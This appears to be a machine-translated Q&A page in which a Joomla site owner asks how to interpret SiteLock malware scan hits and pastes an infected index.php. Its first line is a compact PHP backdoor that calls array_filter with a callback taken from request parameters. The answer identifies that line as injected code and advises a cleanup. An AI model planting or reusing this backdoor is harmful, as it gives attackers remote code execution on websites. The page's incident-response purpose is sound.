Question

因此，恶意软件扫描的结果已经返回：

/sanaciondelalma/sanaciondelalma/configuration.php：   SiteLock-PHP-EVAL_REQUEST-jki.UNOFFICIAL FOUND

/sanaciondelalma/sanaciondelalma/index.php：   SiteLock-PHP-EVAL_REQUEST-jki.UNOFFICIAL FOUND

/sanaciondelalma/sanaciondelalma/images/mod_config.php：   SiteLock-PHP-BACKDOOR-GENERIC-md5-efg.UNOFFICIAL FOUND

/sanaciondelalma/sanaciondelalma/templates/atomic/error.php：   SiteLock-PHP-BACKDOOR-GENERIC-md5-wef.UNOFFICIAL FOUND

/pablofaro/images/mod_config.php：   SiteLock-PHP-BACKDOOR-GENERIC-md5-efg.UNOFFICIAL FOUND

我不知道如何识别脚本中的原因，这里是索引1。你能帮忙吗？

<?php
if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}
/**
 * @package     Joomla.Site
 * @copyright   Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// Set flag that this is a parent file.
define('_JEXEC', 1);
define('DS', DIRECTORY_SEPARATOR);

if (file_exists(dirname(__FILE__) . '/defines.php')) {
    include_once dirname(__FILE__) . '/defines.php';
}

if (!defined('_JDEFINES')) {
    define('JPATH_BASE', dirname(__FILE__));
    require_once JPATH_BASE.'/includes/defines.php';
}

require_once JPATH_BASE.'/includes/framework.php';

// Mark afterLoad in the profiler.
JDEBUG ? $_PROFILER->mark('afterLoad') : null;

// Instantiate the application.
$app = JFactory::getApplication('site');

// Initialise the application.
$app->initialise();

// Mark afterIntialise in the profiler.
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;

// Route the application.
$app->route();

// Mark afterRoute in the profiler.
JDEBUG ? $_PROFILER->mark('afterRoute') : null;

// Dispatch the application.
$app->dispatch();

// Mark afterDispatch in the profiler.
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;

// Render the application.
$app->render();

// Mark afterRender in the profiler.
JDEBUG ? $_PROFILER->mark('afterRender') : null;

// Return the response.
echo $app;

Answer 1

if ($_REQUEST['param1']&&$_REQUEST['param2']) 
    {
      $f = $_REQUEST['param1'];
      $p = array($_REQUEST['param2']);
      $pf = array_filter($p, $f); 
      echo 'OK'; Exit;
    }

此行右上角不应存在

这是一个由恶意脚本

注入您的代码的包装代码行

你应该做什么

更改所有密码
彻底安装您的网站并尽量避免使用未在官方joomla网站注册的提供商的免费软件模板和插件

观察

如何在我的脚本中找到SiteLock-PHP-EVAL_REQUEST-jki.UNOFFICIAL FOUND的原因？

1 个答案: